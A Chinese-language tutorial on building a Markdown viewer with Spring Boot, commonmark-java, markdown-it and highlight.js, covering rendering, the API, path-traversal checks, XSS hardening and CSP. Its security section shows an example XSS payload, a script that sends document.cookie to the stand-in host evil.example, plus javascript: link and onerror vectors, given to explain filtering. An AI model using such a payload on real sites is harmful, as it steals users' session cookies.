在项目交付阶段Markdown 文件的分发和管理是一个很容易被低估的问题。技术文档、README、接口说明、部署手册几乎都用 Markdown 编写但接收文档的人不一定有编辑器也不想为了看一份说明去安装工具。这时一个轻量 MarkdownViewer 就非常实用打开文件、实时预览、导出内容覆盖从编写到阅读的完整链路。这篇文章从一个可运行的 MarkdownViewer 项目出发讲解 Markdown 渲染的工作机制、后端渲染 API 的实现、前端预览的联动方式、安全加固、常见问题排查和后续扩展方向。完成本文后你可以把它改造成内部文档阅读器、接口平台的一部分或作为学习渲染管线的最小样例。1. 先理解 Markdown 渲染要解决什么问题1.1 从纯文本到结构化 HTMLMarkdownViewer 的核心职责Markdown 本质上是一种轻量级标记语言。它通过#、**、-这类符号表达标题、加粗、列表等结构。但浏览器不能直接识别这些符号浏览器只认 HTML、CSS 和 JavaScript。所以 MarkdownViewer 的核心职责就是完成从 Markdown 到 HTML 的转换并把转换结果展示在页面上。这个转换不是简单替换几个字符。以**加粗**为例如果直接做字符串替换遇到****、嵌套标记、行内代码里的星号时会非常容易出错。真正可靠的方案是先用解析器把 Markdown 文本解析成结构化数据再把结构化数据渲染成 HTML。这也是 commonmark-java、markdown-it 这些库存在的意义。站在产品角度MarkdownViewer 还需要考虑三个使用场景第一阅读场景用户只是打开一个.md文件快速查看内容第二编辑场景用户希望左边写、右边实时看到效果第三集成场景系统在运行时从数据库或接口拿到 Markdown 字符串需要渲染成页面片段嵌入到现有系统中。同一套渲染逻辑要能同时支撑这三种场景工程上才有价值。1.2 一条渲染链路中的三个关键阶段不管是客户端还是服务端Markdown 渲染都遵循同样的链路解析、转换、输出。第一阶段是解析。解析器把 Markdown 文本按规则拆成元素比如# 标题会被识别成标题元素- 内容会被识别成列表项。现代解析器通常先做词法分析再结合上下文做语法分析最终形成一棵树形结构。第二阶段是 AST 中间表示。AST 的全称是 Abstract Syntax Tree抽象语法树。它把 Markdown 文本的语义层级关系表达出来。例如这段输入## 二级标题 - 项目一 - 项目二解析后的 AST 大概是一个根节点下面挂着一个标题节点和一个列表节点列表节点下有两个列表项节点。这棵树与原始文本的格式细节解耦后续无论输出 HTML、PDF 还是其他格式都只需要遍历这棵树。第三阶段是输出。渲染器遍历 AST按规则生成目标格式。面向 HTML 时渲染器还要决定标签选择、属性生成、特殊字符转义方式。需要说明的是AST 阶段决定了渲染的扩展能力。例如任务列表- [x] 完成如果不经 AST很难在输出时生成input typecheckbox checked这种结构因为任务列表的语义跨越了普通列表和表单元素。1.3 你最容易理解错的三个地方第一个误区是“Markdown 渲染等于引入一个 npm 包或 Maven 依赖”。实际上依赖只是渲染器的一部分解析、安全策略、样式、高亮、前后端数据协议都需要自己组合项目复杂度应该在最初就评估清楚。第二个误区是“HTML 就是 Markdown 的一部分”。Markdown 规范里确实允许直接编写原始 HTML比如在文档里写div classwarning注意/div。但这是 Markdown 渲染中最大的安全来源因为原始 HTML 会突破 Markdown 的语法边界直接进入页面 DOM。后面安全章节会专门处理这个问题。第三个误区是“输出 HTML 就等于完成渲染”。如果页面没有加载对应 CSS预览区的标题、代码块、表格会呈现默认样式观感很差。所以 MarkdownViewer 还需要一套类似 GitHub Markdown 风格的样式体系以及代码高亮能力否则功能虽然完整体验却不完整。2. 技术选型与项目结构设计2.1 客户端渲染与服务端渲染怎么选设计 MarkdownViewer 时第一件事是决定渲染发生在哪一层。两种方式各有适用场景通常不是非此即彼。客户端渲染使用浏览器里的 JavaScript 库例如 markdown-it、marked、remark。用户输入 Markdown 后脚本直接在当前页面完成解析和 DOM 更新响应速度快不消耗服务器资源适合文档编辑器、本地笔记工具。服务端渲染使用 Java、Go、Python 等后端语言中的 Markdown 解析库请求通过接口把 Markdown 内容传给服务端服务端返回 HTML 片段。这种方式适合内容管理、低代码平台、导出服务等需要统一渲染结果、统一做权限和审计的场景。表格对比会更直观对比项客户端渲染服务端渲染响应速度快不需要网络请求受网络和接口性能影响服务器压力无每个渲染请求都会消耗 CPU安全控制依赖前端清洗策略可以在后端统一过滤结果一致性依赖浏览器版本和库版本更容易统一输出离线能力可以在本地离线使用必须连接服务适用场景编辑器、预览器文档平台、导出服务文章里的示例项目采用混合方式平时编辑预览用客户端渲染保证交互流畅同时后端提供渲染接口用于验证解析差异、做统一导出和集成到其他系统。2.2 开发和运行环境示例项目使用 Spring Boot 3 作为后端前端是放在src/main/resources/static下的静态页面没有引入额外构建工具。这样做的好处是打包简单一个 jar 就能启动整套服务。推荐环境如下软件版本建议说明JDK17 及以上Spring Boot 3 要求 Java 17 起步Maven3.6.3 及以上构建和依赖管理Spring Boot3.3.x本文使用 3.3.2commonmark-java0.22.0服务端 Markdown 解析库markdown-it13.x前端 Markdown 解析库highlight.js11.x代码高亮github-markdown-css5.xGitHub 风格样式浏览器Chrome / Edge 最新版开发调试更方便如果原始项目没有锁定版本落地前一定要去 Maven Central 或 npm registry 确认最新稳定版本。版本选新不选旧的原则并不完全正确生产项目更看重稳定性建议优先使用社区活跃、维护记录良好的版本。2.3 项目目录结构后端静态资源目录被 Spring Boot 自动识别访问根路径时可以直接返回index.html。推荐目录结构如下markdownviewer/ ├── pom.xml ├── src │ ├── main │ │ ├── java │ │ │ └── com/example/markdownviewer │ │ │ ├── MarkdownViewerApplication.java │ │ │ ├── controller │ │ │ │ └── MarkdownRenderController.java │ │ │ ├── dto │ │ │ │ ├── RenderRequest.java │ │ │ │ ├── RenderResponse.java │ │ │ │ └── FileRenderRequest.java │ │ │ └── service │ │ │ └── MarkdownRenderService.java │ │ └── resources │ │ ├── application.yml │ │ └── static │ │ ├── index.html │ │ ├── style.css │ │ └── app.js │ └── test │ └── java/com/example/markdownviewer │ └── MarkdownRenderServiceTest.java静态资源目录和 Controller 两者并存时Spring Boot 会根据 URL 判断是命中静态资源还是进入 Controller。根路径/会读取到静态目录下的index.html/api/markdown/render会进入后端接口互不干扰。3. 后端实现使用 commonmark-java 完成核心渲染3.1 Maven 依赖引入创建 Spring Boot 项目后在pom.xml中增加依赖。spring-boot-starter-web提供 REST 接口能力和内嵌 Tomcatcommonmark是解析库本体commonmark-ext-task-list-items是任务列表扩展。dependencies dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-web/artifactId /dependency dependency groupIdorg.commonmark/groupId artifactIdcommonmark/artifactId version0.22.0/version /dependency dependency groupIdorg.commonmark/groupId artifactIdcommonmark-ext-task-list-items/artifactId version0.22.0/version /dependency dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-test/artifactId scopetest/scope /dependency /dependencies引用 commonmark 时要注意解析器和渲染器是两个独立对象需要成对创建并使用相同的扩展集。如果在 Parser 中加载了任务列表扩展但 HtmlRenderer 没有加载同一个扩展新的节点类型就无法正确输出。3.2 编写渲染服务渲染服务是后端逻辑的核心。它的职责很明确接收 Markdown 字符串使用 Parser 解析成 AST再用 HtmlRenderer 输出 HTML。package com.example.markdownviewer.service; import org.commonmark.Extension; import org.commonmark.ext.task.list.items.TaskListItemsExtension; import org.commonmark.node.Node; import org.commonmark.parser.Parser; import org.commonmark.renderer.html.HtmlRenderer; import org.springframework.stereotype.Service; import java.util.List; Service public class MarkdownRenderService { private final Parser parser; private final HtmlRenderer renderer; public MarkdownRenderService() { ListExtension extensions List.of(TaskListItemsExtension.create()); this.parser Parser.builder() .extensions(extensions) .build(); this.renderer HtmlRenderer.builder() .extensions(extensions) .build(); } public String renderToHtml(String markdown) { if (markdown null) { markdown ; } Node document parser.parse(markdown); return renderer.render(document); } }这段代码有两个关键点。第一Parser.builder()和HtmlRenderer.builder()支持链式配置扩展通过extensions方法传入。任务列表扩展可以解析- [x] 已完成这样的语法。第二render方法可以安全处理空字符串传入null时不抛异常统一按空内容处理。面向接口的服务层应当做这种防御式处理。3.3 编写 REST 接口后端需要向前端或其他系统暴露一个渲染接口。接口请求体包含待渲染的 Markdown 内容响应体返回 HTML 字符串。DTO 采用普通类并保留默认构造器和 getter/setter方便与 JSON 转换库配合。package com.example.markdownviewer.dto; public class RenderRequest { private String content; public String getContent() { return content; } public void setContent(String content) { this.content content; } }package com.example.markdownviewer.dto; public class RenderResponse { private String html; public RenderResponse() { } public RenderResponse(String html) { this.html html; } public String getHtml() { return html; } public void setHtml(String html) { this.html html; } }Controller 负责接收请求、调用服务并封装返回结果。这里的接口路径建议带上/api前缀便于后续接入网关或统一鉴权。package com.example.markdownviewer.controller; import com.example.markdownviewer.dto.RenderRequest; import com.example.markdownviewer.dto.RenderResponse; import com.example.markdownviewer.service.MarkdownRenderService; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; RestController RequestMapping(/api/markdown) public class MarkdownRenderController { private final MarkdownRenderService markdownRenderService; public MarkdownRenderController(MarkdownRenderService markdownRenderService) { this.markdownRenderService markdownRenderService; } PostMapping(/render) public RenderResponse render(RequestBody RenderRequest request) { String html markdownRenderService.renderToHtml(request.getContent()); return new RenderResponse(html); } }如果请求体中没有content字段对象为 null此时渲染服务里的空值判断会兜住异常。如果直接把 null 传给 Parser可能不会立刻报错但更稳妥的做法是在入口做参数校验。3.4 从本地文件读取 Markdown当你把 MarkdownViewer 接到系统里时往往会遇到“直接渲染服务器上某个 .md 文件”的需求。这个功能可以做成一个独立接口但必须加路径防护否则会有目录穿越风险。在项目根目录创建docs文件夹只允许访问这个目录下的文件package com.example.markdownviewer.dto; public class FileRenderRequest { private String path; public String getPath() { return path; } public void setPath(String path) { this.path path; } }PostMapping(/render/file) public RenderResponse renderFile(RequestBody FileRenderRequest request) throws IOException { if (request.getPath() null || request.getPath().isBlank()) { throw new IllegalArgumentException(path 不能为空); } Path baseDir Paths.get(docs).toAbsolutePath().normalize(); Path targetPath baseDir.resolve(request.getPath()).normalize(); if (!targetPath.startsWith(baseDir)) { throw new IllegalArgumentException(path 越界不允许访问 docs 目录之外的文件); } String content Files.readString(targetPath, StandardCharsets.UTF_8); String html markdownRenderService.renderToHtml(content); return new RenderResponse(html); }这里的核心是normalize()和startsWith()两次判断。前者把../这类路径进行规范化后者确保最终路径仍在允许目录内部。读取文件时显式指定 UTF-8 编码避免不同操作系统默认编码不一致产生乱码。4. 前端实现编辑区与预览区联动4.1 页面整体结构前端页面采用双栏布局左侧是文本编辑区右侧是预览区。顶部工具栏提供“打开文件”“保存文件”“服务端渲染”三个按钮。为了让页面有足够的渲染能力引入三个前端依赖github-markdown-css 提供类似 GitHub 的排版样式markdown-it 负责转换 Markdownhighlight.js 负责代码高亮。!DOCTYPE html html langzh-CN head meta charsetUTF-8 meta nameviewport contentwidthdevice-width, initial-scale1.0 titleMarkdownViewer/title link relstylesheet hrefhttps://cdn.jsdelivr.net/npm/github-markdown-css5.2.0/github-markdown.min.css link relstylesheet hrefhttps://cdn.jsdelivr.net/npm/highlight.js11.9.0/styles/github.css link relstylesheet hrefstyle.css /head body header classtoolbar span classtoolbar-titleMarkdownViewer/span button idopenBtn typebutton打开文件/button button idsaveBtn typebutton保存文件/button button idserverRenderBtn typebutton服务端渲染/button /header main classapp section classeditor-pane textarea ideditor placeholder在此输入 Markdown 内容/textarea /section section classpreview-pane markdown-body idpreview/section /main input typefile idfileInput accept.md,.markdown,.txt styledisplay:none; script srchttps://cdn.jsdelivr.net/npm/markdown-it13.0.2/dist/markdown-it.min.js/script script srchttps://cdn.jsdelivr.net/npm/highlight.js11.9.0/lib/highlight.min.js/script script srcapp.js/script /body /html这里的.markdown-body类名来自 github-markdown-css。如果预览容器没有这个类样式不会生效。这个类名必须和 CSS 库的约定保持一致。4.2 关键样式样式文件控制工具栏、双栏布局、编辑区自适应高度。实际项目中可以结合自身 UI 组件库调整关键是保证编辑区和预览区的宽度比例可以随视口变化。* { box-sizing: border-box; } html, body { height: 100%; margin: 0; font-family: Microsoft YaHei, PingFang SC, Helvetica Neue, Arial, sans-serif; background: #f6f8fa; } .toolbar { height: 48px; display: flex; align-items: center; gap: 12px; padding: 0 16px; background: #ffffff; border-bottom: 1px solid #e1e4e8; } .toolbar-title { font-weight: 600; margin-right: auto; } .toolbar button { padding: 6px 12px; font-size: 14px; border: 1px solid #d0d7de; border-radius: 6px; background: #f6f8fa; cursor: pointer; } .toolbar button:hover { background: #eaeef2; } .app { display: flex; height: calc(100vh - 48px); } .editor-pane { width: 50%; padding: 16px; background: #ffffff; } .editor-pane textarea { width: 100%; height: 100%; padding: 12px; border: 1px solid #d0d7de; border-radius: 6px; resize: none; font-family: Cascadia Code, Consolas, monospace; font-size: 14px; line-height: 1.6; outline: none; } .preview-pane { width: 50%; overflow-y: auto; padding: 20px; background: #ffffff; border-left: 1px solid #e1e4e8; }4.3 核心 JavaScript实时预览与文件操作app.js中需要完成四件事创建 markdown-it 实例、维护编辑事件、实现本地文件打开和保存、调用后端渲染接口。const editor document.getElementById(editor); const preview document.getElementById(preview); const fileInput document.getElementById(fileInput); const md window.markdownit({ html: false, linkify: true, breaks: true, typographer: true, highlight: function (code, lang) { if (lang window.hljs hljs.getLanguage(lang)) { try { return hljs.highlight(code, { language: lang }).value; } catch (error) { console.error(高亮失败, error); } } return ; } }); let timer null; function updatePreview() { const html md.render(editor.value); preview.innerHTML html; } editor.addEventListener(input, function () { if (timer) { clearTimeout(timer); } timer setTimeout(updatePreview, 200); }); document.getElementById(openBtn).addEventListener(click, function () { fileInput.click(); }); fileInput.addEventListener(change, async function (event) { const file event.target.files[0]; if (!file) { return; } const text await file.text(); editor.value text; updatePreview(); fileInput.value ; }); document.getElementById(saveBtn).addEventListener(click, function () { const blob new Blob([editor.value], { type: text/markdown;charsetutf-8 }); const url URL.createObjectURL(blob); const link document.createElement(a); link.href url; link.download document.md; link.click(); URL.revokeObjectURL(url); }); document.getElementById(serverRenderBtn).addEventListener(click, async function () { try { const response await fetch(/api/markdown/render, { method: POST, headers: { Content-Type: application/json }, body: JSON.stringify({ content: editor.value }) }); if (!response.ok) { throw new Error(HTTP response.status); } const data await response.json(); preview.innerHTML data.html; } catch (error) { console.error(服务端渲染失败, error); } }); updatePreview();两点需要注意。第一markdown-it的html: false很重要它会让原始 HTML 标签以文本形式输出避免直接执行未知标签和脚本。第二高亮函数里return 表示让 markdown-it 使用默认的转义逻辑而不是返回一个未处理的原始代码块避免 HTML 注入。5. 安全加固渲染 Markdown 不等于直接插入 HTML5.1 为什么必须处理 XSS 问题Markdown 渲染过程中最危险的操作是把渲染结果直接赋值给 DOM 的innerHTML。如果 Markdown 来源不可信例如用户从网络粘贴内容、从文件导入内容攻击者可以在 Markdown 中夹带原始 HTML 和脚本代码。一个典型例子是[点击下载](javascript:alert(xss)) img srcx onerroralert(xss) script fetch(http://evil.example/collect?cookie document.cookie) /script如果渲染器对链接协议不做限制、对原始 HTML 不做过滤、对脚本标签不做拦截这些代码会在预览区执行。这在内部文档工具里可能只是提示弹窗在公开访问的平台上就是严重的存储型 XSS 漏洞。5.2 默认安全策略markdown-it 的html: false和 commonmark-java 的默认行为都会对未知 HTML 标签做转义。也就是说script不会被当成真正的脚本标签插入而是被转义成lt;scriptgt;显示为一段文本。但对于 URL还需要额外过滤。markdown-it 的linkify选项可以识别裸链接但识别javascript:协议时未必能完全阻止。安全做法是在渲染后清理 HTML或在使用链接时做协议白名单检查。服务端渲染接口同样需要考虑这层问题。常见的做法有两条第一在渲染服务入口做输入长度限制防止超长内容拖垮 CPU第二只渲染白名单标签不在系统里渲染用户输入的原始 HTML。如果业务确实需要允许一部分 HTML可以使用专门的 HTML 清洗库而不是直接信任渲染器输出。5.3 highlight.js 的合理使用highlight.js 本身会把代码片段包装成span标签并添加行内样式或类名。使用时要注意语言名称和加载范围。推荐的高亮逻辑是只有当语言存在于 hljs 的语言列表中时才调用高亮方法否则返回空字符串让 markdown-it 使用默认转义。这样可以避免高亮函数处理错误语言时报异常也不会把未知语言当作原始 HTML 输出。另外需要抵制一种常见诱惑为了少引入一个库而手写“简单高亮”例如用正则把关键字替换成带颜色的 span。这种实现很容易在字符串和注释里误替换最终的代码高亮质量远不如成熟库所以尽量复用社区方案。5.4 添加基础 CSP 策略在 HTML 页面中添加 Content-Security-Policy 可以限制浏览器加载和执行资源的范围。下面这行配置允许脚本从当前域名和 jsdelivr CDN 加载样式允许行内样式和 jsdelivr CDN图片允许当前域名、data:协议和 HTTPS 图片。meta http-equivContent-Security-Policy contentdefault-src self; script-src self https://cdn.jsdelivr.net; style-src self unsafe-inline https://cdn.jsdelivr.net; img-src self data: https:;CSP 是纵深防御的一部分不是万能的。即便有了 CSP仍然要把 Markdown 渲染器的安全选项配置正确不要依赖某单一手段。注意安全加固是一条持续链路。Markdown 来源、渲染结果、页面执行环境三个环节都要检查不能只做前端拦截而不处理后端接口。6. 运行、验证与结果分析6.1 启动服务确认项目可以正常启动这是所有验证的前置条件。在项目根目录执行mvn spring-boot:run看到类似下面的日志说明服务已经启动Tomcat started on port 8080 (http) with context path Started MarkdownViewerApplication in 2.315 seconds打开浏览器访问http://localhost:8080应该能看到 MarkdownViewer 页面。左侧是空的编辑区右侧是空预览区。如果页面出现 404 或排版异常优先检查static目录下的文件名是否和访问路径一致。6.2 验证后端 API后端接口需要独立验证这样在排查问题时可以确认“问题在前端还是后端”。使用 curl 向渲染接口发送请求curl -X POST http://localhost:8080/api/markdown/render \ -H Content-Type: application/json \ -d {content:# Hello MarkdownViewer\n\n- 项目一\n- 项目二}预期响应是包含 HTML 片段的 JSON{ html: h1Hello MarkdownViewer/h1\nul\nli项目一/li\nli项目二/li\n/ul\n }如果返回的 HTML 中h1、p、ul标签数量与输入不匹配说明解析配置或扩展加载有问题。6.3 前端输入的预期输出对照以下表格可以作为手工测试用例把输入文本粘贴到编辑区观察右侧渲染结果是否一致输入 Markdown预期 HTML 关键标签预期页面显示# 标题h1加粗大号标题**加粗**strong加粗文字codecode带背景色的代码- [x] 任务input typecheckbox checked disabled带勾选状态的任务项java\n System.out.println(1);\n precode内包含高亮 span有语法高亮的代码块scriptalert(1)/scriptlt;scriptgt;转义文本页面不弹窗显示标签文本任务列表验证时要特别注意如果服务端没有加载commonmark-ext-task-list-items扩展- [x]会渲染成普通列表项而不是带 checkbox 的列表。前端 markdown-it 对任务列表的支持方式又不同它是通过内置插件完成的两种渲染结果要做兼容性测试。6.4 前后端渲染结果不一致怎么办实际项目中经常出现同一个 Markdown 片段在前端和后端渲染结果不一样。原因通常是库版本不同、扩展集合不同、或者安全选项不同。遇到这种情况时不要急着改代码先建立对照测试。准备一组覆盖标题、列表、引用、代码、表格、链接、图片的 Markdown 样本分别用两端渲染逐项对比输出。优先让后端作为基准因为后端更稳定也更容易通过单元测试固化为回归用例。class MarkdownRenderServiceTest { Test void shouldRenderHeadingAndList() { MarkdownRenderService service new MarkdownRenderService(); String html service.renderToHtml(# 标题\n\n- 项目一); org.assertj.core.api.Assertions.assertThat(html).contains(h1); org.assertj.core.api.Assertions.assertThat(html).contains(li); } }单元测试的价值在于后续升级依赖、调整扩展时可以快速发现渲染行为变化。7. 常见问题排查7.1 渲染结果没有任何样式现象内容能显示但全是浏览器默认字体标题和正文没有区分度代码块没有背景色。排查步骤打开浏览器开发者工具查看预览容器是否包含markdown-body类。在网络面板中确认github-markdown-css是否加载成功。检查 CDN 资源是否被 CSP 策略拦截如果 CSP 的style-src中没有允许 CDN 域名样式会被浏览器丢弃。确认项目内是否有其他全局样式覆盖了.markdown-body的规则。解决方式为预览容器补上markdown-body类并同步调整 CSP 白名单。7.2 页面里的 HTML 被转成普通文本现象输入b内容/b后页面显示的是lt;bgt;内容lt;/bgt;而不是加粗内容。原因markdown-it 实例配置了html: falsecommonmark 也默认转义原始 HTML。处理建议先确认业务是否真的需要展示原始 HTML。大多数文档场景不需要如果确实需要建议使用专门的 HTML 清洗库并且只允许常用白名单标签例如p、strong、em、code、pre、ul、ol、table。7.3 代码高亮不生效现象代码块显示正常但是纯黑色文字没有关键字颜色。可能原因有三个没有引入 highlight.js 的 CSS 样式文件。高亮函数里语言名称与 hljs 内置名称不一致例如 Markdown 代码块写的是javascript但 hljs 的语言列表中可能同时存在javascript和js部分场景需要用映射函数。调用了hljs.highlight但仓库没有注册对应语言包。排查方式在浏览器控制台执行hljs.getLanguage(java)返回 undefined 就说明语言包缺失或全局对象加载异常。7.4 中文内容乱码现象打开.md文件时中文变成乱码或者保存后的文件在其他编辑器打开乱码。排查路径文件读取是否显式使用 UTF-8Files.readString(path, StandardCharsets.UTF_8)。前端Blob是否指定type: text/markdown;charsetutf-8。启动脚本是否设置 JVM 默认编码在 Spring Boot 启动命令中加入-Dfile.encodingUTF-8。Windows 环境下记事本保存的旧文件可能是 GBK 编码读取前需要判断编码。7.5 接口返回 500 或 415现象点击“服务端渲染”按钮后控制台报HTTP 500或HTTP 415。500常见原因是渲染逻辑抛异常例如文件读取失败、路径越界。415常见原因是 Content-Type 没有设置为application/json或请求体不是合法 JSON。检查方式打开浏览器开发者工具 Network 面板查看请求头、请求体、响应体确认接口路径和参数名与后端 Controller 一致。7.6 综合排查清单问题现象常见原因检查方式处理建议页面打不开端口被占用查看启动日志检查 8080 端口修改server.port或释放端口静态资源 404文件不在static下检查 resources 目录结构调整文件位置API 返回空 HTMLcontent 字段为空打印请求参数增加参数校验高亮样式缺失只引了 JS 没引 CSSNetwork 面板检查样式引入 highlight.js 主题 css预览延迟明显未做防抖检查 input 事件逻辑加上 200ms 防抖8. 最佳实践与扩展方向8.1 建议的最小可用版本如果今天要快速交付一个可用的 MarkdownViewer我认为最小版本应该包含以下能力Markdown 编辑区和实时预览区。打开本地文件和保存为本地文件。安全配置好的 Markdown 渲染器禁止渲染原始 HTML 中的脚本。GitHub 风格样式和代码高亮。同一套 Markdown 样本的单元测试。先把这 5 项做扎实再考虑添加目录、图片上传、导出 PDF 等能力避免一开始就被复杂功能拖住主流程。8.2 生产环境检查清单当 MarkdownViewer 从本地工具变成公共服务时需要补齐以下环节检查项生产要求配置外置化端口、文件存储路径、允许的扩展名配置到外部配置中心日志记录渲染请求长度、耗时、异常堆栈避免记录完整大文件内容接口限流针对渲染接口做 QPS 限制防止大文本频繁请求压垮 CPU权限控制文件读取接口必须校验登录态、目录权限、越权访问安全策略统一配置 CSPHTML 清洗URL 协议白名单异常处理使用全局异常处理器返回统一错误 JSON避免堆栈直接暴露测试回归保存一组标准 Markdown 样本每次升级依赖后跑一遍对照测试监控告警对渲染耗时、失败率、大请求量做监控8.3 可以扩展的能力从 MarkdownViewer 继续向上扩展常见方向有第一目录导航。通过解析渲染结果中的h1、h2、h3生成页面内锚点导航。commonmark-java 可以通过HeadingAnchorExtension为标题自动添加 id前端可以根据这些 id 生成右侧目录。第二导出能力。把预览区 HTML 交给浏览器打印生成 PDF也可以在后端用 OpenHTMLToPDF、Flying Saucer 等工具将 HTML 转成 PDF。导出的文档需要额外维护一套打印样式。第三图片上传。编辑区输入的图片路径可以是相对路径、绝对路径或 base64。如果要支持粘贴图片上传可以增加一个上传接口把图片保存到对象存储再把返回 URL 插入编辑区。第四多人协作。这是比较大的工程改动。可以基于 WebSocket 做同步游标和操作合并也可以采用悲观锁同一份文档同时只允许一人编辑。先从后者开始会更稳定。第五与编辑器深度集成。目前页面使用原生textarea只能满足基础需求。如果需要更完整的编辑体验可以集成 CodeMirror 6 或 Monaco Editor把 Markdown 语法高亮、快捷键、代码折叠等能力引入。8.4 给新手的实践路线如果你是第一次尝试做 Markdown 相关工具建议按这个顺序练习先用 markdown-it 写一个纯前端页面不接后端。再给页面加上打开文件和保存文件。接着用 Spring Boot 做一个渲染接口接收 Markdown 返回 HTML。测试不同标签、链接、代码块的渲染结果。尝试加入高亮和安全策略。最后把 Markdown 样本整理成单元测试固化渲染行为。这条路线每个阶段都能看到明确结果而且每走一步都在为后面的内容铺垫。Markdown 渲染的难度不在“把文本变成 HTML”而在边界情况和安全策略。真正理解了 AST、扩展点、HTML 清洗、前后端输出一致性之后你再去看企业里的文档平台、低代码渲染引擎、导出服务会发现很多问题都能归并到这条渲染链路上来。